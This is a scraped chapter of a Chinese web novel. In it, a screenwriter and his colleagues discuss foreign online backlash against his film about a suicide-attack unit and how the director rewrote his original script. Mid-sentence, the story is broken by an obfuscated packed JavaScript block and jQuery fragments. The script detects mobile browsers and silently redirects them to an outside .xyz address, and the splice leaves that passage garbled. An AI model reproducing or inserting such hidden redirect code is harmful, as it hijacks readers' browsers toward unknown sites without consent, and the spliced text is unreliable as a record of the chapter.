342.誰能書寫歷史

作品:《比金壓卡

    卡特琳娜聽到這話,抬起頭來,臉上帶著一絲好奇的表情:「怎麼了?又有什麼動靜?」


    諸葛梁的眼神微微一凝,他隨即解釋道:「一群外國人在《暴雨行動隊》相關的圖伊泰爾頁面上發了大量留言。這些留言大多是詛咒和謾罵,還有不少人試圖跟影片的內容做對比,指責影片中的『暴雨行動隊』是臨陣脫逃的懦夫。其實,他們的意思很簡單,就是在為自己的祖先辯護。」


    就在前不久,桐仁皇帝將這個廣為人知的社群平台「圖伊泰爾」正式更名為「E」。徽標也被換成了醒目的橘黃色字母「E」。然而,對於大多數用戶而言,這個用了多年的舊稱似乎已經根深蒂固,在日常交流和習慣中,「圖伊泰爾」依然是那個他們最常提及的名字。


    「是嗎?」卡特琳娜歪了歪頭,瞥了一眼螢幕上的留言。「這麼誇張?」


    諸葛梁神情淡然,語氣平靜:「那些留言我沒打算理會,大部分都是外國人寫的外文,我也看不太懂,內容不外乎是批評電影曲解歷史。」


    卡特琳娜皺了皺眉,似乎有些不解:「可是這麼多人在罵,為什麼你完全不做回應?總得有個表態吧?」


    諸葛梁輕笑了一聲,眼神裡閃過一絲不以為意:「反應?為什麼要反應?他們鬧得越大,反而讓更多人注意到這部電影。話題熱起來了,對我們來說,未必是壞事。」他頓了頓,語氣依舊冷靜,甚至帶著一絲若有似無的挑釁:「讓他們鬧去吧,越吵越好。我們不動聲色,也是一種策略。」


    一旁的馬爾斯·維卡烈迪克·特拉科夫斯基聽得眉頭微皺,口氣帶著一絲遲疑:「可這樣任由事態發酵,會不會太過放任?長此以往,恐怕對我們的形象會有負面影響。」


    「這正是我所希望的結果。」諸葛梁淡淡地回應,臉上浮現出一絲冷笑,「當初我們設計IAMT系列網路電影時,或許還抱有一點希望,想把《暴雨行動隊》做得更中性、甚至正面。可現在,這部院線電影《暴雨行動隊》,我乾脆將它設計為邪惡的軍事組織。」


    馬爾斯有些疑惑,語氣中帶著不解:「我並沒看過IAMT系列和《暴雨行動隊》,你說的這些……我怎麼理解?」


    諸葛梁輕輕撫摸著下巴,繼續解釋:「當戰爭已經沒有希望反敗為勝的時候,如果對方不是明確要把整個民族屠殺殆盡、或者已有這方面的歷史紀錄,那麼,最正確的做法應該是通過談判尋求和平,而不是像《暴雨行動隊》裡那樣,強迫本國人民開飛機撞擊敵艦,對抗無望的敵人。」他話鋒一轉,語氣帶著一絲自信的冷冽,「這樣才不會讓國家與人民陷入更深的痛苦。」


    「那麼,你認為這部電影到底傳達了什麼?」卡特琳娜追問。


    「這部電影傳達的是,當一個軍事組織的道德底線崩塌時,任何手段都會被視為正當。我們現在所看到的,正是那種無底線的極端行為。」諸葛梁語氣低沉,眼中閃過一絲陰沉,「不過,這也是他們的選擇。」


    馬爾斯沉默片刻,終於點了點頭,似乎理解了諸葛梁的作法。他從椅背往前靠了一些,將手肘擱在桌緣,目光不再銳利,反而浮現出一絲微妙的佩服。


    諸葛梁低頭,拿起剛才放下的手機,輕觸幾下後又放回桌面。他的語氣平靜,但不乏一貫的冷靜判斷:「這次會引發這麼多爭議,其實主要是因為伊希卡瓦改了太多設定。要是照我最初寫的劇本,大概也不會有這麼多外國人來罵了。」


    坐在辦公桌後方的卡特琳娜·岡茨瞇起眼睛,雙手交叉擱在辦公桌上,語氣中透著好奇:「妳是說,現在的這個劇本,不是妳原來的設計?」


    「當然不是,」諸葛梁點點頭,語氣中帶著些許無奈,「伊希卡瓦基本把整個敘事骨架拆了一半重建。尤其是關於『暴雨行動隊』的組織來源、命令來源和歷史結局,她幾乎全改了。」


    卡特琳娜微微皺眉,「那妳最初的版本是怎樣的?」


    諸葛梁不緊不慢地說道:「最早在IAMT系列裡,發動『暴雨行動隊』的不是什麼皇帝,而是一位叫威廉·喬治·史密斯的國王。是個內政極端保守、外交主張孤立的君主。他在戰爭末期不顧內閣反對,直接下令進行最後一波絕命攻擊,也就是暴雨行動。」


    「史密斯……這名字挺平凡的。」馬爾斯輕笑一聲,「梁,你取名字有點太保守了吧?」


    「在我們國內,這種名字才容易讓觀眾接受,」諸葛梁嘴角微微一翹,「你想想看,如果角色名字太獨特,觀眾反而無法投射情緒。叫什麼塔庫米、利庫托,聽起來是有怪,有距離感。」


    卡特琳娜認真聽著,輕聲說:「不過……伊希卡瓦也不是完全沒理由吧。歐洲的君主制度裡,國王要組織像『暴雨行動隊』這樣的極端軍事組織,實在不太可信。」


    「她的可能是想的,」諸葛梁點頭表示認同,「所以才把角色從國王改成了皇帝,這樣一來,觀眾不會質疑皇權的壓倒性。」


    「然後主角的名字也改了吧?」馬爾斯插話。


    「是。」諸葛梁說道:「我原來寫的是羅伯特·亞歷山大·艾倫,一位軍階不高但技術高超的老飛行員,後來她把這名字也全部替換,變成了現在上映的版本。」


    「那你原本的劇情走向呢?」卡特琳娜問。


    諸葛梁神情一轉,語氣逐漸低沉:「原本設計中,『暴雨行動隊』的出現其實無法改變王國的命運。王國最終還是戰敗了,史密斯國王被人民推上斷頭台,國家制度改為共和制。主角在戰爭結束三十年後接受記者的訪談,當時他已經七十多歲,眼神渙散,說話斷續。他說他不認為那些撞擊行動真的有意義。」


    「有點像是……回顧式的戰爭反思片。」馬爾斯若有所思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558301|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地說。


    「沒錯,而且IAMT-003開始的字幕,就是講皇帝被處決的,制度改為共和制。」諸葛梁頓了一下,語氣中帶有些許遺憾,「結果上映版本被改成什麼形象代言皇帝制度、皇太子登基三十年之後退位。」


    卡特琳娜點點頭:「這樣啊……」


    「順便一提,」諸葛梁語氣一轉,帶著點無奈的笑意,「伊希卡瓦還想把裝備名稱也改了。她要把『天堂鼠』改成『雷森』,『白頭鷹』改成『歐卡』,甚至連『天空別墅』都要改成『伊齊熙基』。更扯的是,她還想把劇本裡的計量單位從『哩』和『磅』改成國際通用的『公里』和『公斤』。」


    馬爾斯挑了挑眉,忍不住笑出聲:「『雷森』?『伊齊熙基』?這是什麼鬼名字?聽起來像是外星科技!」


    「就是啊,」諸葛梁聳聳肩,「我直接否決了。我跟她說,國內觀眾哪知道『雷森』、『歐卡』是什麼東西?我們的武器命名多有藝術氣息,像『地獄貓』、『空中堡壘』,多有味道!再說,國際度量衡在國內根本沒什麼人用,硬改成『公里』和『公斤』,觀眾只會覺得彆扭。」


    卡特琳娜若有所思地點點頭,問道:「不過,聽你說『天堂鼠』和『天空別墅』,這兩個名字的原型是不是參考了『地獄貓』和『空中堡壘』?」


    諸葛梁眼中閃過一絲狡黠,笑了笑:「被你猜中了。確實有點借鑒的意思,覺得這樣命名比較好玩。不過說真的,『地獄貓』的裝甲比『天堂鼠』厚多了,兩者實際上差挺遠的。」


    卡特琳娜輕笑一聲:「看來你對這些細節還真是用心。」


    「說到底,這一切都跟我當年在模擬器上栽到自家驅逐艦的經驗有關,」諸葛梁忽然話鋒一轉,語氣帶著點戲謔自嘲,「那時候我開飛機不小心撞到自家艦隊,把整艘驅逐艦炸沉。後來我腦海裡想到二十多年前匹馳尬爾德恩州那場恐怖襲擊,於是就有了劇本的雛形。沒想到現在才知道,歷史上還真的有人搞過類似的行動。」


    「恐怖啊。」馬爾斯搖搖頭,「不過,說到底,伊希卡瓦到底怎麼想的啊?」


    「我怎麼知道?」諸葛梁露出一絲無奈,「不過這樣也好啦,搞這種極端組織的人也不一定真的是什麼好人。這次電影重點是放在歐洲和國內放映,某些國家的人愛罵就罵,沒必要全部接招。」


    卡特琳娜若有所思,沉默片刻,然後緩緩說道:「聽你這麼說,好像的確沒必要理會太多。現在不回應,也許話題會冷卻得更快。」


    「對啊,妳不去回應,輿論自然找不到下一步攻擊的焦點,」諸葛梁露出一個意味深長的笑容,「這時候最忌諱的,就是跟他們在網路上爭輸贏。」


    「好吧,這一次就照你的策略。」卡特琳娜最後拍板,「不發聲,不澄清,不應戰。我們該把注意力放在下部計畫上。」